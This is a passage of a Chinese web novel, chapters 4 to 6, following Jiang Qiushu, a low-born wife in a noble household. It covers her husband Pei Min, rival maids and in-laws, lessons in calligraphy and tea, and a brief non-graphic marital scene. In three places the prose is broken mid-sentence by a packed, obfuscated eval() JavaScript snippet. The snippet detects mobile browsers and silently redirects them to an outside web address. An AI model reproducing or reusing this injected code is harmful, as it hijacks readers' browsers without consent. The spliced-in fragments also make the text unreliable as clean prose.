这画气势磅礴,绵延的山犹如奔腾的江水壮阔,而近处的小桥流水又细腻生动,本该是差别极大的两景,融入到一副画中又显得十分融洽,应了那句“万里山河锦绣国,小桥流水平凡家”。 国家家国本就应当是一体。 姜秋姝不晓得这画是谁作的,可瞧裴珉将画挂在那般显眼的地方,应当是爱极了。 左侧靠窗的地方摆放着张香几,此刻屋内燃着香,窗户没有关严,半开着,里面有一架紫檀木策马越野屏风,屏风后面是张小榻。右侧便是裴珉办公的地方,只一张简单的书案。 其余地方都摆放着棚 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锦瑟以为裴珉是在说姜秋姝,仰起脖子,“娘子即便晓得您喜好,依旧那般做了,许是娘子没想那么多,可奴婢瞧见了,不能不管,立刻来禀告您了。” 哪知裴珉视线盯着她,眼光微低,冷光一闪而过,“未停传唤,谁让你进来的!” “您吩咐奴婢晒书啊!”锦瑟被裴珉冰冷的声音吓了跳。 门口的小厮也是瞧着她抱着书卷才没有拦她。 裴珉想起确实说过要将这些书卷给晒晒,他收回了目光,“即便是如此,你身为玉珩院的婢女,当场指摘娘子,这是本分奴婢该做的事儿?” “奴婢是伺候您的人,自然该以您为重。”锦瑟来玉珩院多年了,从未见过这般严肃的五郎。 她是太夫人送来的人,院里的人都会给她几分颜面,她自以为在玉珩院过的如鱼得水。 可直到姜秋姝嫁过来,她以为五郎妻子会是高门贵女,即便再差也是当世大儒之女,可不过是个父母皆亡,身份低微的孤女。 她虽是奴婢,可签的是活契,祖父也是秀才出身,比起姜秋姝好好得多! 凭何她能,而她却是奴婢。 锦瑟忍住不忿,连忙跪了下来,满脸戚戚,“奴婢知错了,可奴婢被派来伺候您,太夫人说过了,一切以您为先。奴婢便只顾着您,险些忘了娘子,奴婢知错了。” 裴珉未理会,只道:“你是太夫人的人,本该给些薄面,既然犯了事儿,自去管事儿面前领罚,日后便在外院。” 锦瑟连忙磕头谢恩,心中却是惨然,好不容易接近五郎了些,只怪她沉不住气。 姜秋姝安静的听着,即便是听见裴珉对锦瑟略轻的处罚,也无旁的异样。 谁人不晓得裴珉养在太夫人膝下,最为注重孝道。 锦瑟自房间出来,锦绣和关嬷嬷瞧见她失魂落魄的模样,只觉得畅快不已。 裴珉端起汤又喝了口,“这汤里我并未尝出生姜的味道?” 姜秋姝笑容清浅,“一粒盐放入盆中,也不会尝出咸味儿,五郎不喜生姜的味儿妾身自然不会特意将生姜舀出来给您尝。” 是吗?裴珉看了眼姜秋姝,并未从她脸上看出旁的什么,也没必要追究这汤里究竟放没放生姜。 一些杂事儿办了,也该将正事儿了,“妾身见房外有块空地,便自作主张命人种了些花,五郎平日公务繁忙,也可赏赏花,舒缓放松。” 裴珉将汤一饮而尽,他向来不喜口腹之欲,今日喝了这汤倒忆起新婚时,她时常送来的东西,味道好似比这汤好些。 “五郎觉得可好?”姜秋姝见他未答,便又问道。 “你做主便可。” 姜秋姝笑容真切了些,将碗收好,“五郎您忙,妾身先回去了。” “昨夜”。 姜秋姝刚要走,听见裴珉说话,讲起昨夜来,她捏着食盒的手紧了紧。 “我晓得五郎刚回来不习惯择床。” “昨夜寻个时间补回来。” 两道声音同时响起。 姜秋姝顿住了,他的意思是补…房事? 4. 第 4 章 嗯…补? “岂不是坏了五郎规矩?”姜秋姝脱口而出。 裴珉想了想,“那便算了。”既是他定下的,忽然反悔又算什么? 姜秋姝只怪自己话说早了些,她连忙道:“十五那日,便就坏了规矩,五郎不过是补上,叫一切都回归正途罢了。” “你…很想?”裴珉声音比起平时低了几分,还隐隐有些难以启齿。 姜秋姝脸刷的一下红透了,她该如何回答。 想便是要,不想便是不要。 她不过是想早些怀上子嗣罢了,怎每每在裴珉的话中,自己都成了好色之徒! “一切都听五郎的,”姜秋姝呼了口气,勉强保持镇定的模样,“您说怎样,便怎样。” 裴珉垂眸,正能瞧见姜秋姝通红的耳垂和姣好的侧颜,他移开视线,手心却不自然的蜷缩了下。 许久未曾听见裴珉的答话,姜秋姝以为作罢,便提了告辞。 出了门,关嬷嬷和锦绣跟在姜秋姝身边,三人回了房间。 刚走到八角门时,房里的小丫头立刻迎上前,说是三房的三夫人来了。 三夫人原名周,与四房的四夫人是亲姐妹,两人关系自然比起旁的妯娌亲不少,在定国公府孟不离焦脚不离孟,拧成一股绳。 平日里,她这玉珩院可是极少有人来,也不晓得来此,所为何事。 姜秋姝立刻去了正厅见人。 三夫人正喝着茶,瞧见她的身影,立刻起身去迎接。 “弟妹这里的茶水,不愧是圣人亲赐,旁人都比不得。” 姜秋姝笑着走过去与她见礼,三夫人笑着摆手,将人拉着坐在椅子上,“我来是叨扰了,何须多礼。” 三夫人将眼神停留在了姜秋姝脸上片刻,收回目光后,也是掩盖不住的惊叹。 她这个五弟妹虽然出身不显,可这样貌却是洛阳城世家女子不可比拟的,当真仙姿佚貌。 两人说了会儿闲话,三夫人才将来此的目的说了。 “正明侯府三房少夫人生了,太夫人的意思,是让咱们妯娌都去,毕竟是二嫂嫂的娘家。” 姜秋姝说着恭贺的话,太夫人的话,她自然是不能推辞的,应了下来。 三夫人离开后,姜秋姝独自坐在正厅,抿了口茶水。 这茶,在她看来都一样,无论是特赐下的贡茶,还是农家自个儿茶树上采摘的,都是一般的苦味。 她嫁过来不懂得品茶,说不出什么茶汤澄清,入口苦涩回味甘的话。 头一回儿,跟着裴珉赴宴,去的是去太夫人母家宁安伯府。 裴珉因事儿离开了会儿,那些个早已不满她的世家女一拥而上,指着面前的茶汤,夸这茶滋味鲜醇,有着独特的栗香。 她只点头应和,并不想惹人注目,可霎时荒唐大笑。 “连霍山黄芽和寿州黄芽都区分不了,裴太傅最爱品茶,听闻光是藏茶都有数十种,样样都是名茶。怎么?太傅夫人都没尝过?”说完娇俏的少女,用手帕挡住唇角,嫣然一笑。 姜秋姝却将她眼眸中的鄙夷和不甘瞧的清清楚楚。 她那时尚且年幼,霎时面红耳赤,尤其是当她们不友善的目光落在她身上,直叫人如坐针毡。 也不晓得该说些什么?说她喝过最贵重的茶水,便是随阿娘初来洛阳茶肆喝的解渴的粗茶? 无论说什么,都会成为旁人调笑的话柄。 那些世家夫人,小娘子言语中不似乡野的粗鄙,可却比那些直白的话更叫人难堪。 她所见过的世家人,是如寺庙外施粥的和善,是锦衣华服时施舍乞丐的仁爱,也是在朝堂上为百姓谋福祉的兼济天下。 她头一次瞧见了世家人的两面三刀和虚伪。 直到裴珉回来,她对上他平静的眸光,一瞬间移开了眼睛,垂眸忍住眼泪,她怕自己给他丢人了。 裴珉冷冽的扫视了周围,原本尚围着的人都消失不见,她心中堵得慌,也没有注意到周围忽然的安静。 后来在他的教导下,也看得出什么是顾渚紫笋,什么是蒙顶石花,说得出特定的茶性,可她喝起来,还是没什么不同。 所谓牛嚼牡丹,便是她这般的粗人。 “娘子?”锦绣到正厅时,瞧见姜秋姝正发着呆,便上前唤了声。 “您可是身体不适?”关切的声音彻底唤醒她的神思。 “许是病体未愈有些疲倦。”姜秋姝将锦绣端来的药一饮而尽,“扶我回去休息吧!” 锦绣点头,可在靠近姜秋姝时,能够察觉到她的气息微沉,像是被什么压住了。 裴珉即便回来了,依旧是忙的,接下来的几日里都未碰见过他,姜秋姝想起他前几日说的补回来,果然是她多想了。 只是,她多久才能有自己的孩子呢? ** 临近午时,姜秋姝刚好练完了一张纸,她放下笔,将字帖平铺在书桌上,仔细瞧着上面的字迹。 另一侧放着的是裴珉的字帖,两者放在一起,犹如三岁孩童与及冠状元郎,各方各面都有很大的差距。 她微微叹了口气,尽管学的再认真,勤学苦练用三月的功夫,认得了大多数的字,可在书法方面,她可真是半点儿造诣都无。 七八岁孩童都比她写的好。 正当她打算将东西收好之际,一只手从背后笼罩,她惊的将要反抗,可熟悉的声音叫她忍住了。 “静心。” 那双骨节分明的手,将笔递给她,而后选了张尚未沾墨的纸,带着她点了墨,手掌悬空笔锋若游龙,下笔有神。 手背被滚烫的掌心挤压,肌肤相贴,各自得到温度合在一处,她与裴珉站在一处,不过能到其臂膀,挨得近,身子几乎被他笼罩。 气息晕在一处,呼吸近在耳侧,她缩了缩脖颈,酥麻的感觉自左耳处,向背脊往四周散去。 以往他也曾教过她执笔,不过那时只教了会儿她便面若桃李,身子几乎不能动弹,每当他靠近气息侵扰,身体几乎支撑不住,只能用空闲的一只手抓住桌沿,稳住身形,也不敢说话,生怕不对的声音泄了出来。 当时的她觉得羞愧难当,也不明白为何会那般,即便是被他带动着写出来的字,几乎被晕染成一团。 他恐也觉得她愚笨,便也不再教她了。 “凝神。” 许是察觉到姜秋姝的异样,裴珉又说了句。 她舒了口气,抛弃杂念,将更多的心神放在面前的纸上,由他带着她,她大致学了个轮廓,晓得在何处时停顿,何处转弯,何处回旋填勾。 字成,裴珉立刻松开了她,横跨步两人间隔开了些距离。 “如今的字迹,倒是进步了许多,”裴珉瞧着桌上的字迹,“勤学苦练是对,也该将就方法,练字最不该是模仿,应当写出自己的字意字形。” 听着裴珉的教诲,姜秋姝连连称是,方才的旖旎顿时消散,好似不过是她心底某些不能见人的隐秘。 “五郎今日回来的早。”姜秋姝不想听裴珉的说教,直接岔开了话题,“可要一同用午膳,妾身好吩咐小厨房备些您喜欢的菜。” 裴珉嗯了声,姜秋姝立刻从椅子后绕开了裴珉,唤来了锦绣叫她准备几道清淡的菜。 裴珉饮食不贪,信奉养生之道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318994|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛辣不食,三餐过时不食,偶有填补也不过量,而她却是个不挑的,毕竟以往连吃饱都不是易事。 裴珉瞧了眼姜秋姝的方向,坐在了椅子上,脑子里回想起,方才她忙不迭从他这边离去的模样,隐约觉得她好似在躲他? 可当她回头对他露出浅笑时,他心头舒了口气,许是公务繁忙,思虑过重。 她立在门口,方才裴珉不过是心血来潮才来叫她如何练字,却能唤起一些叫她难以忘怀的记忆。 她如今所学得的礼仪学识,都来自裴珉的教习,即便是起了个头,又将她抛之脑后让请来的先生教,可那盏光却是真的在夜中出现来,叫她留恋过,以至于不清醒时有过奢望。 用膳时,等上菜的婢女摆放完毕退下后,立刻有人奉上铜盆,裴珉净手后,看了眼坐在一侧的姜秋姝眉宇微挑。 “妾身方才洗过了。”姜秋姝察觉到他的意思,连忙道。 裴珉道:“那是方才。” 说完朝着婢女示意,婢女连忙端着铜盆过来。 姜秋姝只好站起身,将手沉在水中,面上表情隐藏的极好,自裴珉离开后她确实懒散了些,可同样的也少了许多的麻烦。 等重新落坐,姜秋姝比起方才要谨慎不少,也开始回忆以往所学的餐桌礼仪。 姜秋姝瞧着裴珉用公匙夹了菜放在碟子里,又换做自己的筷子吃了起来。 这般繁琐的步骤,若是换做自己一人食,直接省去了,如今跟裴珉一同用膳,也只得一步步按照他的要求所做。 她晓得世家大族规矩繁琐,可至亲的夫妻也守着规矩,无论何时何地都能有枷锁困与己身。 着实厌烦。 若是与阿娘同食,阿娘会细心的替她挑掉鱼刺,亦会给她夹她最喜爱的食物,那才是亲人。 “娘子生疏了许多。”姜秋姝晓得他指得是什么。 “夫君可知餐前不训子?”姜秋姝浅笑,原本尚有几分饥饿,只夹了一筷子便半饱了。 “咳咳…”裴珉掩袖,咳嗽声不绝于耳,甚至有愈演愈烈的意思。 “妾身的意思是食不言。”姜秋姝也意识到说错了话,连忙改了口。 话虽是错了,可以他的年纪当不成她阿耶,当个叔也是绰绰有余的。 裴珉瞧了她眼,等咳嗽止了,继续用膳。 等两人用完餐食,这些东西都撤下去的时候,裴珉抿了口茶,眉头微蹙。 “这茶谁泡的?” “是妾身,”姜秋姝问道,“可是有何问题?” “早些给娘子请了女先生,如今可是将女先生辞了?”裴珉放下茶后,问道。 姜秋姝看着那茶,才想起她在茶中加了藩菏菜,裴珉来的突然,她一时就忘了。 “今日天气变化大,妾身瞧着五郎这些日子辛苦,这藩菏菜刚好主辟邪毒,除劳弊。”姜秋姝疑惑更加深了几分,“五郎可是觉得不好?” “劳娘子烦忧了。”裴珉说着客套话,却再没有去碰那茶水。 姜秋姝晓得他喜茶,平日里对茶水的要求也高。 她初初学茶时,不懂事儿,兴致勃勃的将先生所教的都表现出来,等泡好后给他尝,他只抿了口便不去碰,她也没看出来,反而时常去寻他。 裴珉当真是教养极好,即便她多次劳烦他,他也未曾说过拒绝的话,只叫她多和先生学,叫她多观茶汤的颜色,自个儿也多尝尝。 他的话太婉转,她又怎能听得出来,直到有一回,她瞧着裴珉喝了口桌案上的茶便蹙眉,厉声呵斥了倒茶的婢女。 而那茶是她泡的,正要带去给他尝尝,结果被他抢先喝了。 5. 第 5 章 姜秋姝正要向裴珉解释女先生的事儿,有婢女来禀告二娘裴秋月来了。 裴秋月身侧只跟着一名婢女,与以往相比,着装也素净了,她进来后,首先便向裴珉行了礼。 看了眼姜秋姝的方向,不甘心的唤了声五叔母,屈了屈膝盖便立刻站了起来。 裴珉目光停留了下,到底没说什么。 “来此所谓何事?”裴珉直接开口问道。 姜秋姝丝毫没有意外裴珉说话不避讳,甚至还隐隐几分驱赶人的模样。定国公府的小辈对他都是敬畏的,恐怕比起在自家阿娘阿耶面前,都没有在裴珉面前老实。 尤其裴秋月做的事儿!裴珉如今还能将其当做小辈,已经算是宽宏大量了。 “侄女那日并非有意说五叔母的不是。”裴秋月低着头,以往五叔最是疼爱她,如今这副隔着距离的模样,实在叫她难受。 裴珉扫视了姜秋姝眼,对着裴秋月不动声色道:“既是致歉,也该拿出诚意来。” 裴秋月努了努嘴,眼眶一下子就红了,姜秋姝未曾嫁给五叔前,五叔都是护着她的,如今姜秋姝嫁了过来,一切都变了。 她的婚事黄了,五叔也对她有些几分厌弃。 裴珉只看着裴秋月,等待着裴秋月的下一个动作,裴秋月抿着唇,顶着裴珉的目光最后不得不朝着姜秋姝俯身。 “叔母,侄女不该因赵郎之故,对您口出狂言,不该说您攀高枝儿。”姜秋姝高坐在椅子上,连姿势都未曾变过,只是那双明亮的眸子落在她身上,似乎是在讥讽着她:便是出身高贵,如今也在她面前低头。 裴秋月记忆中的姜秋姝是穿着发白的粗布,神色戚戚的看着她和赵郎站在一处,卑微的看着他们的天作之合。 如今一切仿佛都对调了。 她高高在上,而她却只能卑躬屈膝。 裴秋月忍住气,可抬头便瞧见姜秋姝嘴角的哂笑,实在叫她心神震荡,异常介怀,她捏着拳头忍耐着。 “这是何事发生的事儿?”裴珉眼睫下垂,看着她。 姜秋姝竟然未对五叔说过!裴秋月先是诧异,而后惊慌起来,她这般说岂不是不打自招了! 想起五叔一向的严厉,裴秋月打了个冷颤。 “五叔,是我胡说的,您是知晓的,姜秋姝与赵郎原是有婚约的,如今嫁给了您,自然会阻拦我与赵郎的事儿,我也是气的没办法,我与赵郎两心相许,奈何有人为难,想要拆散我们,她分明嫁给了您,享受荣华。” 这话有影射姜秋姝吃着碗里瞧着锅里的意思。 裴珉脸色越发的沉,“她是你五婶,乃是长辈。出口便是其姓名,不敬尊长,你是女眷,一口一个赵郎,哪里还有女子的矜持!我看那顿家法没有叫你长记性!” 姜秋姝原是害怕裴珉因赵士远与她起了龃龉,可当听了他的话后,只觉得好笑起来。 妻子的前缘与侄女儿的痴缠,未叫他有过动怒,偏偏裴秋月的失礼失智,叫他起了训斥的心。 裴秋月晓得自家五叔的严厉,族中子弟都不敢在他面前出差错,以往她也是怕过的,可也能感觉到五叔对她的不同。 她晓得五叔因阿婆阿耶之故,对他们大房多有照拂,也最为自傲这点儿不同。 所以那件事儿发生后,她怕过,但也晓得五叔会护着她,只是没想到一年前的那顿家法叫她好几月都没能下的了床。 等她伤好,又传来五叔娶姜秋姝的消息。 “不过一个男子竟然叫你失了智,简直辱没了国公府长房嫡出的名声!那个男子日后在我面前提都不要提,府中是不会同意这门婚事的。我会与太夫人商议早已为你觅的良人,这些时日就留在府中莫要出去了。” 裴珉失望的看着她,他终究是对这个侄女太过仁慈,凡是不可再一再二。 “您答应过阿耶要照顾好我的,如今阿耶不在了,五叔您不能这样对我。”听见裴珉提起她的婚事,裴秋月是彻底的慌了,她此生绝不会嫁给别人! 无论裴秋月如何说,裴珉决定好的事儿,容不得旁人置喙,叫她的婢女将人扶回房间。 裴秋月不甘心,却在瞧见一直端坐在上方的姜秋姝茅塞顿开,她大声叫嚷起来,“姜秋姝你是有意的对不对!你晓得我要过来,故意不将事情说给五叔听,还故意引导我说出那些话。姜秋姝你真是好心机!” 裴珉不耐烦听裴秋月的话,挥了挥手叫婢女立刻将她带走。 少了个聒噪的人,周围一下便安静了下来,可就在裴珉即将离开的时候,一阵微弱的带着小心翼翼的声音响起。 “五郎,妾身并非如二娘说的那般。” 裴珉表情微敛,脸上任由因裴秋月而生出的余怒,“我知道。” 裴珉离开房间,锦绣轻声缓步走到姜秋姝身边,替她倒了茶水,“娘子,二娘怎么能这般,分明是她做错了事,还故意攀扯您。好在五郎是个明察秋毫的。” 姜秋姝叹了口气,将茶杯里的水一饮而尽,“我不欲与人起争端。”尤其是定国公府的人。 她本是浮木,即便依靠着定国公府这棵大树,也还是怕被这棵大树所摒弃。 “娘子安心,五郎是会护着您的。”锦绣轻声安抚道。 姜秋姝未答,只让锦绣陪着她回了房间。 晚膳的时候,裴珉不在府中,姜秋姝听到这个消息,也不知该松口气还是失落,明日便要去正明侯府,她清点了送去的礼品,便打算早些歇息。 她也许久未曾出过府了。 浴房那边婆子抬来了水,烟雾氤氲,躺进温热的浴桶中,思绪放空,一身的疲惫也跟着散去。 今日她久泡了会儿,湿漉漉的发丝上水珠还在往下落,痕迹顺着往下,寝衣被打湿贴在肌肤上,索性不多,她急忙敞开了脖颈处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜秋姝身子瞬间僵硬了起来,说起来她与他数月未曾亲近,呼吸相近带来的陌生感叫人忍不住缩瑟。 床单被她抓起褶皱,双眸紧闭仿佛在等在着什么,裴珉眼眸的温润在此刻全部散去,盯着身下之人,呼吸急促起来。 繁衍是人之本能,亦是他无法抗拒的责任。 裴珉眸光比起以往要暗了不少,眼神自她眉心逐渐往下扫去。 痛感来临时,她眉间的折痕更深了几分,裴珉立马停住了动作,甚至隐隐有撤退的意思,可下一刻一只手抓住了他的臂膀。 姜秋姝的手在碰触在他臂膀立刻松了手,两人衣着完好,即便是在欢好时,也从未触碰着肌肤,她手在空中抓住,揪住他白色的寝衣,最后任由泪滴从眼侧滑落…… 6. 第 6 章 一日,先生给她布置了课业,可她有好些字尚且不识。 “五郎,您教教我可好,”姜秋姝抓住裴珉的衣袖,扯了扯带着几分渴求。 裴珉不喜与旁人这般的亲近,他扯回衣袖站起身来,“你既然已经嫁了过来,便该担起一府夫人的责任,行事也稳重些,拉拉扯扯成何体统。” 姜秋姝听话的松了手,可眼神中的期待却并未减少,生怕他拒绝了她。 其实那些不认识的字,更多的是她寻他的借口。 裴珉背着手,并没有离开,看着她似乎在犹豫,最后还是坐在了她身侧,教起了她。 “蒹葭苍苍,白露为霜……” “蒹葭苍苍,白露为霜……”① 她跟着他所教一起读了起来,其中的意思她不明白,便又缠着他询问,这次的裴珉反应极快的躲开了她的手。 她的手僵了会儿,连忙收了回来,心头的酸涩一晃而过。 这诗讲了男子对女子的思慕之情,对伊人的执着。 他的侧脸十分的俊美,嗓音在讲解诗的时候变得柔和,她听着听着便想,他心中的伊人是何模样呢? 或者是否有过伊人的存在? 这诗讲完了,裴珉也没有留下,离开前道:“若有不解的,可多询问先生。” 姜秋姝听出了他的话,应该是若无要事不要来烦扰他。 她默默点头,却又有着一腔热血,等过了几日便又拿着书卷去问他。 他瞧了会儿她,最后还是耐心的给她讲了。 她当时坐在他的身侧,书房中燃着龙涎香,她向来是不喜那些的,可当她靠近他,清冽的松香气,叫人舒适。 她小心的挪动了下距离,慢慢靠近了他,想要离他更近更近些…… 姜秋姝打了个哈切,不知怎的想起了以往的事儿,刚嫁进来,她真是个胆大的,时常想要缠着他,如今叫她拉扯着裴珉撒娇,浑身都不适。 床榻的另一侧已经没了人,此时尚早也还未到平日里起床的时间。 姜秋姝侧着身子挪动,身体的不适久久不曾消散。 真累,又酸又疼。 还是他们刚新婚时好,不过一瞬的功夫便结束了,如今的时辰越来越长,甚至晕眩中都听见了鸡鸣。 姜秋姝刚识字的时候,对书都是好奇的,恰好拿起本话本看了起来。那话本是裴珉从小辈那里收来的,就随手被他放在榻上,估计自己都忘记了。 里面写过‘鸳鸯两相好,合欢颠倒不知天地为何物,欲比上九天’。 自经历过,姜秋姝就不懂为何这些写话本的胡言乱语,还是有旁的她不清楚的事儿,可惜只看了一页,便被裴珉给瞧见了,她瞧着他阴沉着脸将书给拿走,还警告她日后别碰这些秽物。 可裴珉不晓得她在市井时,也曾听过写污言秽语,比起话本中有过之而无不及,两相结合,渐渐她也琢磨过来了。 或许?裴珉根本就没那个让人上九天的本事! ** 姜秋姝刚洗漱完,用了些早膳,便从锦绣那里知晓太夫人那里请了大夫,她忙不迭的带着丫鬟赶了过去。 刚到正院,几房的夫人也在,孙辈的小娘子和郎君都在,只除开去了学堂的四五六郎君也在。 几位夫人神色焦急的站在房外,内室里只三郎君和二娘。 隐隐去听,好似还能听见女子撒娇声。 姜秋姝来后便有小辈们上前请安。 姜秋姝免了他们的礼,与其余几位夫人站在了一块儿。 四夫人小周氏瞪了姜秋姝眼,似乎还在因上回在桌上被她呛了话而生气,三夫人拉了下四夫人,又看了看室内,示意她安分些。 若是前几年,四夫人比较听三夫人这个长姐的话,近一年来转了性子,她为四房生了三个孩子却无一儿。 而三夫人全然与她相反,可谓是府中最为得意之人,同样生了三次,次次如愿。长子二郎君如今十八,目前在翰林院当值,四郎君和五郎君都年幼,还在学堂读书。 四夫人又看了看神态高傲的二夫人,她儿是定国公府的长孙,也娶了妻,还迅速的生了子,甩开旁的郎君一大截。 整个府中,有处处都比她好的二夫人和长姐,还有处处比不过她,却嫁给府中最为出色郎君的姜秋姝,偏生她被夹在中间,心里憋了许多怨气。 “要我说这太夫人什么都好,就这心肠太软了些。”四夫人碰了碰姜秋姝的胳膊,“二娘出了玉珩院转头便去了太夫人院中,这才将太夫人气病了。说起来太夫人的病还和五弟妹沾些因果。” 姜秋姝不语,只露出担忧的神色看向屋子里。 四夫人瞧她的话,没激起姜秋姝半点儿反应,更是气愤,“弟妹日日盼着,五郎终于回来了,可惜也不常常待在府中,可怜弟妹还得独守空房。” 四夫人自然是不晓得他们夫妻间的房事,可他们成婚这么久,姜秋姝依旧腹中空空,想来夫妻关系冷淡。 且裴珉那样的人,如何会是一个温情体贴妻子的丈夫?! “君姑,太夫人如今有事儿,想来不希望我们再次烦忧她,儿媳扶您去坐坐吧!”大郎君的裴灼的妻子孙氏走过来劝慰道。 二夫人看了聒噪的四夫人最后点头,任由孙氏扶着她往台阶下的石桌坐着。 虽说离得不远,再次吵闹起来,传到里面叫太夫人晓得了,还当她们都如四夫人般蠢顿。 瞧着旁的夫人有儿媳的伺候,四夫人的酸气又往外冒,“如今世子尚未定,二房连曾孙辈都有了,向来太公也有几分考量的。” 四夫人也是想过争那个位置的,可惜腹中空空,加上她家那位又是个没本事的,无论如何都轮不上他。 最好希望其余几房因此打起来。 见四夫人越说越不成样子,三夫人使劲拉了下她的衣袖,眼神比起方才都凶狠了些。 四夫人视线又飘向了屋子里的那位,毕竟还有正统呢! 虽然大郎是嫡子可惜死前尚未被立为世子,可三郎君也是正经的大房嫡子嫡孙。 可国公究竟是要从其余几房选合适人选,还是直接请旨立世孙,谁也摸不清他的想法。 孙氏虽是小辈,但行事妥帖,也劝着几房的夫人去了檐下坐着,这里离太夫人的房间不远,若是有什么要事儿,她们也可随时进去。 几位郎君瞧着几位长辈要闲聊,又都是女眷也不好跟过去,只站在不远处,耐心的等着。 二夫人瞧见孙氏得体的模样,自觉在几位妯娌面前得了脸,尤其方才四夫人的话不算小声,她也听见了,她本是侯府出身,自然不希望自己的丈夫屈居人下。 她暗暗看了姜秋姝眼,如今不过是暂且而已,即便裴珉如今身居高位,姜秋姝也水涨船高,日后的造化谁又能知晓呢! 姜秋姝望了眼房间的方向,隐隐有几分猜测裴秋月与太夫人见的谈话。 也不晓得赵士远到底给裴秋月脑子里灌了多少水,竟然叫她昏头至此。那男子也不过皮相出众了些,如今仕途更是受阻,以裴秋月骄傲的性子,竟然还愿意嫁给个九品小官儿。 情爱一事可真能叫人晕眩。 “弟妹,我娘家侄儿媳与你差不多时间出嫁,如今都生了,你与五弟成婚的日子可不算晚,也得提上日程了。”二夫人吃着孙氏剥的果仁,将话题引到了姜秋姝身上。 “我尚且不急,一切都听五郎的。”姜秋姝说着似乎不好意思的红了脸。 “五郎如今的年纪,换做旁人都祖孙同堂了,不会是五郎着急,弟妹在推诿吧?”四夫人瞧着看好戏般的看了口。 三夫人微叹口气,晓得这两人是在蓄意为难,也不好轻易开口,只剥了个果子在旁吃着。 “五郎虽是年纪到了,可我的年纪还算小,他不晓得从何处看来了杂书,说女子年幼怀有身孕,对母体不易,等一两年后再要不迟。” 四夫人咬了口果子,觉得牙齿酸,她捂住半边脸。尤其是当她瞧见姜秋姝羞答答的模样,更加难受,这五郎当真能有这般体贴? 莫不是这五郎是个面冷心热的,瞧着与姜秋姝关系一般,实则夫妻恩爱? 她当初嫁过来亦不过及笄的年纪,不过三月便怀上孩子,就算是寻常人在子嗣上,都是多多益善,怎到了她这样要养护身体! 二夫人也是怀疑的目光多番落在她身上,姜秋姝状似羞怯的拿了个果子在手里,暗暗垂眸。 她可不信这几个妯娌有胆子到裴珉面前求证。 “五弟可真疼弟妹。”二夫人说话的时候,想要探查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318996|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜秋姝的脸色,可惜她低着头啥也瞧不见。 “说起来,五郎待他前未婚妻都不似如此,可五郎以前也不似这般的沉稳,经历多了少年气都磨灭了。”二夫人叹了口气,似乎觉得自己多嘴了,看了眼姜秋姝便又不再开口。 前未婚妻? 四夫人也叹了口气,“不然五郎也不会到这般年岁才成婚。” 说完也醒悟过来,“弟妹可不要多心,那女子与五郎不过是自幼相识,情趣相合,有着总角之谊。你如今才是她的妻子。” 姜秋姝好似从未听府中人提起过?以裴珉那般的人,该如何待未婚夫妻,是与她这般的自持,还是如少男少女般连对视都是羞怯的? 总角晏晏,应当是与旁人不同的。 姜秋姝抱着果子,笑意盈盈,“如此说来,也是便宜我了。” 半点儿伤心都不见,好似真的只是在庆幸着。 二夫人和四夫人对视一眼,皆沉静了,这人比起初入府真变了不少,若是以往怕连眼眶都红了,却又不得不忍着,像是能被随意碾压的蚂蚁,弱小又可怜。 短短一年成长至此,叫人不容小觑。 姜秋姝嘴角淡笑不散,自顾自倒了茶水,又捡起桌上的点心吃了起来。 “确实便宜了,我本想将府中九娘说与五弟的,被你捷足登先。”二夫人瞧她吃的没心没肺,不咸不淡道。 姜秋姝放下点心,“即便有再多的小娘子,终究不过是过眼云烟,五郎与她们不过是萍水相逢,只我与五郎有缘,相配的紧。” 三郎君裴承过来时,正好听到了这么句话,他驻足视线不由的落到了姜秋姝身上。 盈盈日光中,那张瓷白的脸仿佛泛着光,巧笑嫣然当真是有副好容颜。除开外貌,他真瞧不出还有旁的地方与五叔相配,真是大言不惭! 余下的几位夫人瞧见姜秋姝这般说,一下子哑了嗓子,被堵住了嘴,说不出话来。当真是长进了!就连脸皮都厚了不少。 姜秋姝脸上的表情始终不变,世家人说话总是喜欢说一句藏百句,又故意不说明白,留下无限的遐想让人去介怀。 初听难受,当那股难受劲儿过了后,只觉得这种挤兑人的半遮半掩,不过是下三滥的手段。 三郎君裴承站在身侧,不晓得该如何开口,只咳嗽了声,吸引了她们的注意力。 “几位叔母,太夫人请你们进去。” 屋子里裴秋月眼眶泛红,应当是哭过的模样,可如今倚在太夫人的膝下,祖孙间温情脉脉,裴秋月掩唇笑了起来。 当姜秋姝看过去的时候,甚至对她露出个挑衅的眼神。 姜秋姝跟着一众人进来的,侧身横步,直接站在最后排,裴秋月见人被挡住,像是抛媚眼给瞎子看,只得收回了目光。 “太夫人身子如何了?”先开口的自然是二夫人,在这屋子里除开太夫人便是她辈分最高。 “无事,”太夫人摇头,“昨日天凉,受了风寒。” 这话是托词,大部分都瞧了出来,可他们也不是傻的,不会当众揭穿。 “都是底下的婢女嬷嬷伺候的不妥当,”二夫人满是忧色,“太夫人要好好休养。” 